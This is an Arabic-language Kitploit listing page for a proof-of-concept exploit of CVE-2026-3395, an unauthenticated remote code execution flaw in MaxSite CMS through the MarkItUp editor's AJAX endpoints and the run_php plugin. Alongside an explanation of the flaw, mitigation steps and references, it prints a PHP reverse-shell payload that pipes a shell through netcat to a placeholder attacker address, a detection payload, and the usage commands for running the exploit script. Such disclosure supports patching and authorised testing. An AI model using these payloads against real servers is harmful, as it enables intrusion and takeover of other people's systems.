Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE — إثبات مفهوم لاستغلال تنفيذ الأوامر عن بُعد دون مصادقة في MaxSite CMS <= 109.1 عبر نقاط نهاية AJAX لمحرر MarkItUp، مع حمولات كشف وقشرة عكسية. | Kitploit
أدوات/GitHubGitHub/mbanyamer/cve-2026-3395-maxsite-cms-unauthenticated-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubmbanyamer/cve-2026-3395-maxsite-cms-unauthenticated-rce

CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE

إثبات مفهوم لاستغلال تنفيذ الأوامر عن بُعد دون مصادقة في MaxSite CMS <= 109.1 عبر نقاط نهاية AJAX لمحرر MarkItUp، مع حمولات كشف وقشرة عكسية.

عرض المستودع
54منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE‑2026‑3395 — تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه في MaxSite CMS

Author Country Instagram GitHub CVE Exploit Type CVSS

نظرة عامة

ثغرة تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه (RCE) في MaxSite CMS ≤ 109.1.

ينبع الخلل من ضعف فحوصات التفويض في نقاط نهاية AJAX الخاصة بإضافة محرر MarkItUp، بالإضافة إلى التنفيذ غير الآمن لتعليمات PHP البرمجية المقدمة من المستخدم بواسطة إضافة run_php.

  • الاكتشاف / الإصلاح: مارس 2026
  • تم التصحيح في: MaxSite CMS 109.2
  • البائع: MaxSite CMS
  • المستودع: maxsite/cms

الوصف

تؤثر الثغرة على الملفات التالية في إضافة محرر MarkItUp:

  • preview-ajax.php
  • autosave-post-ajax.php

هذه النقاط النهائية:

  • يمكن الوصول إليها بدون مصادقة
  • تقوم فقط بفحص ضعيف للمُحيل (referrer) (يمكن تجاوزه بسهولة)
  • تمرر مدخلات المستخدم إلى إضافة run_php
  • تنفذ أكواد [php]...[/php] المختصرة باستخدام eval()

يمكن للمهاجم إرسال طلب POST مُصمم إلى مسار /ajax/ يحتوي على مسار داخلي مشفر بـ Base64 وحمولة PHP خبيثة عبر معامل data، مما يؤدي إلى:

🚨 تنفيذ كامل للتعليمات البرمجية عن بُعد غير المصادق عليه


مخطط تدفق الهجوم

root@kitploit:~
graph TD
    A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
    B -->|"Referer Spoofing"| C["preview-ajax.php"]
    C -->|"Unsanitized Input"| D["run_php Plugin"]
    D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
    E -->|"Command Execution"| F["Compromised Server"]

المتطلبات الأساسية

  • إصدار MaxSite CMS ≤ 109.1
  • تفعيل إضافة run_php (افتراضي شائع)
  • إعدادات PHP تسمح بـ eval()

الاستغلال

يتم تضمين برنامج إثبات المفهوم بلغة Python 3 (exploit.py).

حمولة الكشف (غير مدمرة)

root@kitploit:~
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]

حمولة الصدفة العكسية

root@kitploit:~
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]

الاستخدام

1. تشغيل المستمع

root@kitploit:~
nc -lvnp 9001

2. تشغيل الاستغلال

root@kitploit:~
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001

التخفيف

إجراءات فورية

  • الترقية إلى MaxSite CMS 109.2 أو أحدث
  • تعطيل إضافة run_php إذا لم تكن مطلوبة

التصحيح اليدوي

أضف فحوصات المصادقة إلى الملفات المعرضة للخطر:

root@kitploit:~
if (!is_login()) {
    die('Access denied');
}
mso_checkreferer();

المراجع

  • التزام التصحيح https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3

  • إدخال الثغرة https://vuldb.com/?id.348281

  • سجل NVD https://nvd.nist.gov/vuln/detail/CVE-2026-3395


إشعار قانوني

يتم توفير هذا المشروع من أجل:

  • البحث الأمني
  • الأغراض التعليمية
  • اختبار الاختراق المصرح به

⚠️ لا تستخدم ضد الأنظمة دون إذن صريح.

لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار.


المؤلف

محمد إدريس بني عامر الأردن 🇯🇴 باحث أمني

banyamer_security — Silent Hunter • Shadow Presence

مارس 2026

تنزيل الأداة